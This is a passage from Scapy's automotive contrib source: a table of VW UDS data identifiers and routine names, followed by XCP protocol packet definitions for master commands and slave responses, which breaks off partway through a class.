UDS_RDBI.dataIdentifiers[0x6ee3] = "Seat_cushion_fan_1_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee4] = "Seat_cushion_fan_2_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee5] = "Auxiliary_blower_motor_control_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee6] = "Auxiliary_blower_motor_control_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee7] = "Infrared_sender_for_front_observation_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee8] = "Starter_generator_control_module_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee9] = "Media_player_1_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eea] = "Media_player_2_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eeb] = "Dedicated_short_range_communication_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eec] = "Refrigerant_pressure_and_temperature_sender_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eed] = "Refrigerant_pressure_and_temperature_sender_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eee] = "Refrigerant_pressure_and_temperature_sender_6_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eef] = "Air_coolant_actuator_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef0] = "Air_coolant_actuator_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef1] = "Cell_module_controller_13_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef2] = "Cell_module_controller_14_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef3] = "Cell_module_controller_15_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef5] = "Seat_heating_rear_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef6] = "LED_warning_indicator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef7] = "Automatic_transmission_fluid_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef8] = "Manual_transmission_fluid_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef9] = "Convenience_and_driver_assist_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efb] = "Air_coolant_actuator_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efc] = "Valve_block_4_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efd] = "Valve_block_4_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efe] = "Valve_block_4_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eff] = "Valve_block_4_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f01] = "Rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f02] = "Refrigerant_expansion_valve_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f03] = "Refrigerant_expansion_valve_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f04] = "Refrigerant_expansion_valve_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f05] = "Refrigerant_shut_off_valve_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f06] = "Refrigerant_shut_off_valve_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f07] = "Refrigerant_shut_off_valve_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f08] = "Refrigerant_shut_off_valve_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f09] = "Refrigerant_shut_off_valve_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0a] = "Sunlight_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0b] = "Near_field_communication_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0c] = "Clutch_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0d] = "Electrical_charger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0e] = "Rear_light_left_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0f] = "Rear_light_right_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f10] = "Rear_light_right_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f11] = "Sunlight_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f12] = "Radiator_shutter_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f13] = "Radiator_shutter_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f14] = "Radiator_shutter_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f15] = "Radiator_shutter_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f18] = "Special_key_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f19] = "Radio_interface_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1a] = "Video_self_protection_recorder_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1b] = "Special_vehicle_assist_interface_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1c] = "Electric_system_disconnection_diode_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1e] = "Belt_pretensioner_2nd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1f] = "Belt_pretensioner_2nd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f20] = "Electrical_variable_camshaft_phasing_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f21] = "Electrical_variable_camshaft_phasing_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f22] = "Wireless_operating_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f23] = "Wireless_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f24] = "Front_windshield_washer_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f25] = "Air_quality_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f26] = "Fragrancing_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f27] = "Coolant_valve_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f28] = "Near_field_communication_control_module_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f29] = "Interior_monitoring_rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2a] = "Cooler_fan_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2b] = "Control_unit_heating_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2c] = "Control_unit_heating_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2d] = "Control_unit_heating_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2e] = "Control_unit_heating_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2f] = "Operating_unit_drive_mode_selection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f30] = "Side_sensor_a-pillar_driver_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f31] = "Side_sensor_a-pillar_passenger_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f32] = "Sensor_high_voltage_system_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f33] = "Side_sensor_b-pillar_driver_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f34] = "Side_sensor_b-pillar_passenger_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f35] = "Multi_function_steering_wheel_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f36] = "Gear_selection_display_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f37] = "Cooler_fan_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f38] = "Gear_selector_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f39] = "Interior_light_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3a] = "Radio_control_center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3b] = "Multimedia_extension_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3c] = "Control_unit_differential_lock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3d] = "Control_unit_ride_control_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3e] = "Control_unit_hands_on_detection_steering_wheel_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3f] = "Front_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f40] = "Auxiliary_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f41] = "Card_reader_tv_tuner_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f42] = "Park_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f43] = "Media_connector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f44] = "Catalyst_heating_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0xef90] = "Secure_hardware_extension_status" UDS_RDBI.dataIdentifiers[0xf15a] = "Fingerprint" UDS_RDBI.dataIdentifiers[0xf15b] = "Fingerprint And Programming Date Of Logical Software Blocks" UDS_RDBI.dataIdentifiers[0xf17c] = "VW FAZIT Identification String" UDS_RDBI.dataIdentifiers[0xf186] = "Active Diagnostic Session" UDS_RDBI.dataIdentifiers[0xf187] = "VW Spare Part Number" UDS_RDBI.dataIdentifiers[0xf189] = "VW Application Software Version Number" UDS_RDBI.dataIdentifiers[0xf18a] = "System Supplier Identifier" UDS_RDBI.dataIdentifiers[0xf18c] = "ECU Serial Number" UDS_RDBI.dataIdentifiers[0xf190] = "Vehicle Identification Number" UDS_RDBI.dataIdentifiers[0xf191] = "VW ECU Hardware Number" UDS_RDBI.dataIdentifiers[0xf192] = "System Supplier ECU Hardware Number" UDS_RDBI.dataIdentifiers[0xf193] = "System Supplier ECU Hardware Version Number" UDS_RDBI.dataIdentifiers[0xf194] = "System Supplier ECU Software Number" UDS_RDBI.dataIdentifiers[0xf195] = "System Supplier ECU Software Version Number" UDS_RDBI.dataIdentifiers[0xf197] = "VW System Name Or Engine Type" UDS_RDBI.dataIdentifiers[0xf19e] = "ASAM ODX File Identifier" UDS_RDBI.dataIdentifiers[0xf1a0] = "VW Data Set Number Or ECU Data Container Number" UDS_RDBI.dataIdentifiers[0xf1a1] = "VW Data Set Version Number" UDS_RDBI.dataIdentifiers[0xf1a2] = "ASAM ODX File Version" UDS_RDBI.dataIdentifiers[0xf1a3] = "VW ECU Hardware Version Number" UDS_RDBI.dataIdentifiers[0xf1aa] = "VW Workshop System Name" UDS_RDBI.dataIdentifiers[0xf1ab] = "VW Logical Software Block Version" UDS_RDBI.dataIdentifiers[0xf1ad] = "Engine Code Letters" UDS_RDBI.dataIdentifiers[0xf1af] = "AUTOSAR_standard_application_software_identification" UDS_RDBI.dataIdentifiers[0xf1b0] = "VWClear_diagnostic_information_date_functional" UDS_RDBI.dataIdentifiers[0xf1b1] = "VW_Application_data_set_identification" UDS_RDBI.dataIdentifiers[0xf1b2] = "Function_software_identification" UDS_RDBI.dataIdentifiers[0xf1b3] = "VW_Data_set_name" UDS_RDBI.dataIdentifiers[0xf1b5] = "Busmaster_description" UDS_RDBI.dataIdentifiers[0xf1b6] = "System_identification" UDS_RDBI.dataIdentifiers[0xf1b7] = "Gateway_component_list_ECU_node_address" UDS_RDBI.dataIdentifiers[0xf1d5] = "FDS_project_data" UDS_RDBI.dataIdentifiers[0xf1df] = "ECU Programming Information" UDS_RC.routineControlIdentifiers[0x0202] = "Check Memory" UDS_RC.routineControlIdentifiers[0x0203] = "Check Programming Preconditions" UDS_RC.routineControlIdentifiers[0x0317] = "Reset of Adaption Values" UDS_RC.routineControlIdentifiers[0x0366] = "Reset of all Adaptions" UDS_RC.routineControlIdentifiers[0x03e7] = "Reset to Factory Settings" UDS_RC.routineControlIdentifiers[0x045a] = "Clear user defined DTC information" UDS_RC.routineControlIdentifiers[0x0544] = "Verify partial software checksum" UDS_RC.routineControlIdentifiers[0x0594] = "Check upload preconditions" UDS_RC.routineControlIdentifiers[0xff00] = "Erase Memory" UDS_RC.routineControlIdentifiers[0xff01] = "Check Programming Dependencies" UDS_RD.dataFormatIdentifiers[0x0000] = "Uncompressed" UDS_RD.dataFormatIdentifiers[0x0001] = "Compression Method 1" UDS_RD.dataFormatIdentifiers[0x0002] = "Compression Method 2" UDS_RD.dataFormatIdentifiers[0x0003] = "Compression Method 3" UDS_RD.dataFormatIdentifiers[0x0004] = "Compression Method 4" UDS_RD.dataFormatIdentifiers[0x0005] = "Compression Method 5" UDS_RD.dataFormatIdentifiers[0x0006] = "Compression Method 6" UDS_RD.dataFormatIdentifiers[0x0007] = "Compression Method 7" UDS_RD.dataFormatIdentifiers[0x0008] = "Compression Method 8" UDS_RD.dataFormatIdentifiers[0x0009] = "Compression Method 9" UDS_RD.dataFormatIdentifiers[0x000a] = "Compression Method 10" UDS_RD.dataFormatIdentifiers[0x000b] = "Compression Method 11" UDS_RD.dataFormatIdentifiers[0x000c] = "Compression Method 12" UDS_RD.dataFormatIdentifiers[0x000d] = "Compression Method 13" UDS_RD.dataFormatIdentifiers[0x000e] = "Compression Method 14" UDS_RD.dataFormatIdentifiers[0x000f] = "Compression Method 15" ================================================ FILE: scapy/contrib/automotive/xcp/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tabea Spahn # scapy.contrib.status = skip """ Package of contrib automotive xcp specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/xcp/cto_commands_master.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tabea Spahn # scapy.contrib.status = skip from scapy.contrib.automotive.xcp.utils import get_ag, get_max_cto, \ XCPEndiannessField, StrVarLenField from scapy.fields import ByteEnumField, ByteField, ShortField, StrLenField, \ IntField, ThreeBytesField, FlagsField, ConditionalField, XByteField, \ XIntField, FieldLenField from scapy.packet import Packet, bind_layers # ##### CTO COMMANDS ###### # STANDARD COMMANDS class Connect(Packet): commands = {0x00: "NORMAL", 0x01: "USER_DEFINED"} fields_desc = [ ByteEnumField("connection_mode", 0, commands), ] class Disconnect(Packet): # DISCONNECT has no data pass class GetStatus(Packet): # GET_STATUS has no data pass class Synch(Packet): # SYNCH has no data pass class GetCommModeInfo(Packet): # GET_COMM_MODE_INFO has no data pass class GetId(Packet): """Get identification from slave""" types = {0x00: "ASCII", 0x01: "file_name_without_path_and_extension", 0x02: "file_name_with_path_and_extension", 0x03: "URL", 0x04: "File" } fields_desc = [ByteEnumField("identification_type", 0x00, types)] class SetRequest(Packet): """Request to save to non-volatile memory""" fields_desc = [ FlagsField("mode", 0, 8, [ "store_cal_req", "store_daq_req", "clear_daq_req", "x3", "x4", "x5", "x6", "x7"]), XCPEndiannessField(ShortField("session_configuration_id", 0x00)) ] class GetSeed(Packet): # Get seed for unlocking a protected resource seed_mode = {0x00: "first", 0x01: "remaining"} res = {0x00: "resource", 0x01: "ignore"} fields_desc = [ ByteEnumField("mode", 0, seed_mode), ByteEnumField("resource", 0, res) ] class Unlock(Packet): # Send key for unlocking a protected resource fields_desc = [ FieldLenField("len", None, length_of="seed", fmt="B"), StrVarLenField("seed", b"", length_from=lambda p: p.len, max_length=lambda: get_max_cto() - 2) ] class SetMta(Packet): # Set Memory Transfer Address in slave fields_desc = [ # specification says: position 1,2 type byte (not WORD) The example( # Part 5 Example Communication Sequences ) shows 2 bytes for # "reserved" # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501 # --> 2 bytes XCPEndiannessField(ShortField("reserved", 0)), ByteField("address_extension", 0), XCPEndiannessField(XIntField("address", 0)) ] class Upload(Packet): # Upload from slave to master fields_desc = [ByteField("nr_of_data_elements", 0)] class ShortUpload(Packet): # Upload from slave to master (short version) fields_desc = [ ByteField("nr_of_data_elements", 0), ByteField("reserved", 0), XByteField("address_extension", 0), XCPEndiannessField(IntField("address", 0)) ] class BuildChecksum(Packet): # Build checksum over memory range fields_desc = [ # specification says: position 1-3 type byte The example(Part 5 # Example Communication Sequences ) shows 3 bytes for "reserved" # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501 # --> 3 bytes XCPEndiannessField(ThreeBytesField("reserved", 0)), XCPEndiannessField(XIntField("block_size", 0)) ] class TransportLayerCmd(Packet): # Refer to transport layer specific command sub_commands = { 0xFF: "GET_SLAVE_ID", 0xFE: "GET_DAQ_ID", 0xFD: "SET_DAQ_ID", } fields_desc = [ ByteEnumField("sub_command_code", 0xFF, sub_commands), ] class TransportLayerCmdGetSlaveId(Packet): echo_mode = { 0x00: "identify_by_echo", 0x01: "confirm_by_inverse_echo", } fields_desc = [ XByteField("x", 0x58), # ASCII = X XByteField("c", 0x43), # ASCII = C XByteField("p", 0x50), # ASCII = P ByteEnumField("mode", 0x00, echo_mode), ] bind_layers(TransportLayerCmd, TransportLayerCmdGetSlaveId, sub_command_code=0xFF) class TransportLayerCmdGetDAQId(Packet): fields_desc = [ XCPEndiannessField(ShortField("daq_list_number", 0)), ] bind_layers(TransportLayerCmd, TransportLayerCmdGetDAQId, sub_command_code=0xFE) class TransportLayerCmdSetDAQId(Packet): sub_command = { 0xFD: "SET_DAQ_ID", } fields_desc = [ XCPEndiannessField(ShortField("daq_list_number", 0)), XCPEndiannessField(IntField("can_identifier", 0)) ] bind_layers(TransportLayerCmd, TransportLayerCmdSetDAQId, sub_command_code=0xFD) class UserCmd(Packet): # Refer to user defined command fields_desc = [ ByteField("sub_command_code", 0), ] # Calibration Commands class Download(Packet): # Download from master to slave fields_desc = [ ByteField("nr_of_data_elements", 0), ConditionalField( StrLenField("alignment", b"", length_from=lambda pkt: get_ag() - 2), lambda pkt: get_ag() > 2), StrLenField("data_elements", b"", length_from=lambda pkt: get_max_cto() - 2 if get_ag() == 1 else get_max_cto() - get_ag()), ] class DownloadNext(Download): # Used for the download from master to slave in block mode # Same as "Download", but with different command code pass class DownloadMax(Packet): # Download from master to slave (fixed size) fields_desc = [ ConditionalField( StrLenField("alignment", b"", length_from=lambda _: get_ag() - 1), lambda _: get_ag() > 1), StrLenField("data_elements", b"", length_from=lambda _: get_max_cto() - (get_ag() * 2 - 1)) ] class ShortDownload(Packet): # Download from master to slave (short version) fields_desc = [ FieldLenField("len", None, length_of="data_elements", fmt="B"), ByteField("reserved", 0), ByteField("address_extension", 0), XCPEndiannessField(IntField("address", 0)), StrVarLenField("data_elements", b"", length_from=lambda p: p.len, max_length=lambda: get_max_cto() - 8) ] class ModifyBits(Packet): # Modify bits fields_desc = [ ByteField("shift_value", 0), XCPEndiannessField(ShortField("and_mask", 0)), XCPEndiannessField(ShortField("xor_mask", 0)) ] # Page Switching commands class SetCalPage(Packet): """Set calibration page""" fields_desc = [ FlagsField("mode", 0, 8, ["ecu", "xcp", "x2", "x3", "x4", "x5", "x6", "all"]), ByteField("data_segment_num", 0), ByteField("data_page_num", 0) ] class GetCalPage(Packet): """Get calibration page""" fields_desc = [ ByteField("access_mode", 0), ByteField("data_segment_num", 0) ] class GetPagProcessorInfo(Packet): """Get general information on PAG processor""" pass class GetSegmentInfo(Packet): """Get specific information for a SEGMENT""" info_mode = { 0x00: "get_basic_address_info", 0x01: "get_standard_info", 0x02: "get_address_mapping_info" } fields_desc = [ ByteEnumField("mode", 0x00, info_mode), ByteField("segment_number", 0), ByteField("segment_info", 0), ByteField("mapping_index", 0) ] class GetPageInfo(Packet): """Get specific information for a PAGE""" fields_desc = [ ByteField("reserved", 0), ByteField("segment_number", 0), ByteField("page_number", 0) ] class SetSegmentMode(Packet): """Set mode for a SEGMENT""" fields_desc = [ FlagsField("mode", 0, 8, ["freeze", "x1", "x2", "x3", "x4", "x5", "x6", "x7"]), ByteField("segment_number", 0) ] class GetSegmentMode(Packet): """Get mode for a SEGMENT""" fields_desc = [ ByteField("reserved", 0), ByteField("segment_number", 0) ] class CopyCalPage(Packet): """This command forces the slave to copy one calibration page to another. This command is only available if more than one calibration page is defined """ fields_desc = [ ByteField("segment_num_src", 0), ByteField("page_num_src", 0), ByteField("segment_num_dst", 0), ByteField("page_num_dst", 0) ] class SetDaqPtr(Packet): """Data acquisition and stimulation, static, mandatory""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_num", 0)), ByteField("odt_num", 0), ByteField("odt_entry_num", 0) ] class WriteDaq(Packet): """Data acquisition and stimulation, static, mandatory""" fields_desc = [ ByteField("bit_offset", 0), ByteField("size_of_daq_element", 0), ByteField("address_extension", 0), XCPEndiannessField(IntField("address", 0)) ] class SetDaqListMode(Packet): """Set mode for DAQ list""" fields_desc = [ FlagsField("mode", 0, 8, ["x0", "direction", "x2", "x3", "timestamp", "pid_off", "x6", "x7"]), XCPEndiannessField(ShortField("daq_list_num", 0)), XCPEndiannessField(ShortField("event_channel_num", 0)), ByteField("transmission_rate_prescaler", 0), ByteField("daq_list_prio", 0) ] class GetDaqListMode(Packet): """Get mode from DAQ list""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_number", 0)) ] class StartStopDaqList(Packet): """Start/stop/select DAQ list""" mode_enum = {0x00: "stop", 0x01: "start", 0x02: "select"} fields_desc = [ ByteEnumField("mode", 0, mode_enum), XCPEndiannessField(ShortField("daq_list_number", 0)) ] class StartStopSynch(Packet): """Start/stop DAQ lists (synchronously)""" mode_enum = {0x00: "stop", 0x01: "start", 0x02: "select"} fields_desc = [ ByteEnumField("mode", 0x00, mode_enum) ] class ReadDaq(Packet): """Read element from ODT entry""" pass class GetDaqClock(Packet): """Get DAQ clock from slave""" pass class GetDaqProcessorInfo(Packet): """Get general information on DAQ processor""" pass class GetDaqResolutionInfo(Packet): """Get general information on DAQ processing resolutioin""" pass class GetDaqListInfo(Packet): """Get specific information for a DAQ list""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_num", 0)) ] class GetDaqEventInfo(Packet): """Get specific information for an event channel""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("event_channel_num", 0)) ] # Cyclic data transfer - static configuration commands class ClearDaqList(Packet): """Clear DAQ list configuration""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_num", 0)) ] # Cyclic Data transfer - dynamic configuration commands class FreeDaq(Packet): """Clear dynamic DAQ configuration""" pass class AllocDaq(Packet): """Allocate DAQ lists""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_count", 0)) ] class AllocOdt(Packet): """Allocate ODTs to a DAQ list""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_num", 0)), ByteField("odt_count", 0) ] class AllocOdtEntry(Packet): """Allocate ODT entries to an ODT""" fields_desc = [ ByteField("reserved", 0), XCPEndiannessField(ShortField("daq_list_num", 0)), ByteField("odt_num", 0), ByteField("odt_entries_count", 0) ] # Flash Programming commands class ProgramStart(Packet): """Indicate the beginning of a programming sequence""" pass class ProgramClear(Packet): """Clear a part of non-volatile memory""" access_mode = {0x00: "absolute_access", 0x01: "functional_access"} fields_desc = [ ByteEnumField("mode", 0, access_mode), XCPEndiannessField(ShortField("reserved", 0)), XCPEndiannessField(IntField("clear_range", 0)) ] class Program(Download): """Program a non-volatile memory segment""" # Same structure as "Download", but with different command code pass class ProgramReset(Packet): """Indicate the end of a programming sequence""" pass class GetPgmProcessorInfo(Packet): """Get general information on PGM processor""" pass class GetSectorInfo(Packet): """Get specific information for a SECTOR""" address_mode = {0x00: "get_address", 0x01: "get_length"} fields_desc = [ ByteEnumField("mode", 0, address_mode), ByteField("sector_number", 0) ] class ProgramPrepare(Packet): """Prepare non-volatile memory programming""" fields_desc = [ ByteField("not_used", 0), XCPEndiannessField(ShortField("code_size", 0)) ] class ProgramFormat(Packet): """Set data format before programming""" fields_desc = [ ByteField("compression_method", 0), ByteField("encryption_mode", 0), ByteField("programming_method", 0), ByteField("access_method", 0) ] class ProgramNext(Download): """Program a non-volatile memory segment (Block Mode)""" # Same structure as "Download", but with different command code pass class ProgramMax(DownloadMax): """Program a non-volatile memory segment (fixed size)""" # Same as "DownloadMax", but with different command code pass class ProgramVerify(Packet): """Program Verify""" start_mode = { 0x00: "request_to_start_internal_routine", 0x01: "sending_verification_value" } fields_desc = [ ByteEnumField("verification_mode", 0, start_mode), XCPEndiannessField(ShortField("verification_type", 0)), XCPEndiannessField(IntField("verification_value", 0)) ] ================================================ FILE: scapy/contrib/automotive/xcp/cto_commands_slave.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tabea Spahn # scapy.contrib.status = skip from scapy.config import conf from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.xcp.utils import get_max_cto, get_ag, \ XCPEndiannessField, StrVarLenField from scapy.fields import ByteEnumField, ByteField, ShortField, StrLenField, \ FlagsField, IntField, ThreeBytesField, ConditionalField, XByteField, \ StrField, LEShortField, XIntField, FieldLenField from scapy.packet import Packet # ##### CTO COMMANDS ###### # STANDARD COMMANDS class NegativeResponse(Packet): """Error Packet""" error_code_enum = { 0x00: "ERR_CMD_SYNCH", 0x10: "ERR_CMD_BUSY", 0x11: "ERR_DAQ_ACTIVE", 0x12: "ERR_PGM_ACTIVE", 0x20: "ERR_CMD_UNKNOWN", 0x21: "ERR_CMD_SYNTAX", 0x22: "ERR_OUT_OF_RANGE", 0x23: "ERR_WRITE_PROTECTED", 0x24: "ERR_ACCESS_DENIED", 0x25: "ERR_ACCESS_LOCKED", 0x26: "ERR_PAGE_NOT_VALID", 0x27: "ERR_MODE_NOT_VALID", 0x28: "ERR_SEGMENT_NOT_VALID", 0x29: "ERR_SEQUENCE", 0x2A: "ERR_DAQ_CONFIG", 0x30: "ERR_MEMORY_OVERFLOW", 0x31: "ERR_GENERIC", 0x32: "ERR_VERIFY" } fields_desc = [ ByteEnumField("error_code", 0, error_code_enum), StrField("error_info", "") ] class GenericResponse(Packet): """Command Response packet """ fields_desc = [ StrField("command_response_data", "") ] class ConnectPositiveResponse(Packet): fields_desc = [ FlagsField("resource", 0, 8, ["cal_pag", "x1", "daq", "stim", "pgm", "x5", "x6", "x7"]), FlagsField("comm_mode_basic", 0, 8, ["byte_order", "address_granularity_0", "address_granularity_1", "x3", "x4", "x5", "slave_block_mode", "optional"]), ByteField("max_cto", 0), ConditionalField(ShortField("max_dto", 0), lambda p: p.comm_mode_basic.byte_order), ConditionalField(LEShortField("max_dto_le", 0), lambda p: not p.comm_mode_basic.byte_order), ByteField("xcp_protocol_layer_version_number_msb", 1), ByteField("xcp_transport_layer_version_number_msb", 1) ] def post_dissection(self, pkt): if conf.contribs["XCP"]["allow_byte_order_change"]: new_value = int(self.comm_mode_basic.byte_order) if new_value != conf.contribs["XCP"]["byte_order"]: conf.contribs["XCP"]["byte_order"] = new_value desc = "Big Endian" if new_value else "Little Endian" log_automotive.warning("Byte order changed to {0} because of received " "positive connect packet".format(desc)) if conf.contribs["XCP"]["allow_ag_change"]: conf.contribs["XCP"][ "Address_Granularity_Byte"] = self.get_address_granularity() if conf.contribs["XCP"]["allow_cto_and_dto_change"]: conf.contribs["XCP"]["MAX_CTO"] = self.max_cto conf.contribs["XCP"]["MAX_DTO"] = self.max_dto or self.max_dto_le def get_address_granularity(self): comm_mode_basic = self.comm_mode_basic if not comm_mode_basic.address_granularity_0 and \ not comm_mode_basic.address_granularity_1: return 1 if comm_mode_basic.address_granularity_0 and \ not comm_mode_basic.address_granularity_1: return 2 if not comm_mode_basic.address_granularity_0 and \ comm_mode_basic.address_granularity_1: return 4 else: log_automotive.warning( "Getting address granularity from packet failed:" "both flags are 1") class StatusPositiveResponse(Packet): fields_desc = [ FlagsField("current_session_status", 0, 8, ["store_cal_req", "x1", "store_daq_req", "clear_daq_request", "x4", "x5", "daq_running", "resume"]), FlagsField("current_resource_protection_status", 0, 8, ["cal_pag", "x1", "daq", "stim", "pgm", "x5", "x6", "x7"]), ByteField("reserved", 0), XCPEndiannessField(ShortField("session_configuration_id", 0)) ] class CommonModeInfoPositiveResponse(Packet): fields_desc = [ ByteField("reserved1", 0), FlagsField("comm_mode_optional", 0, 8, 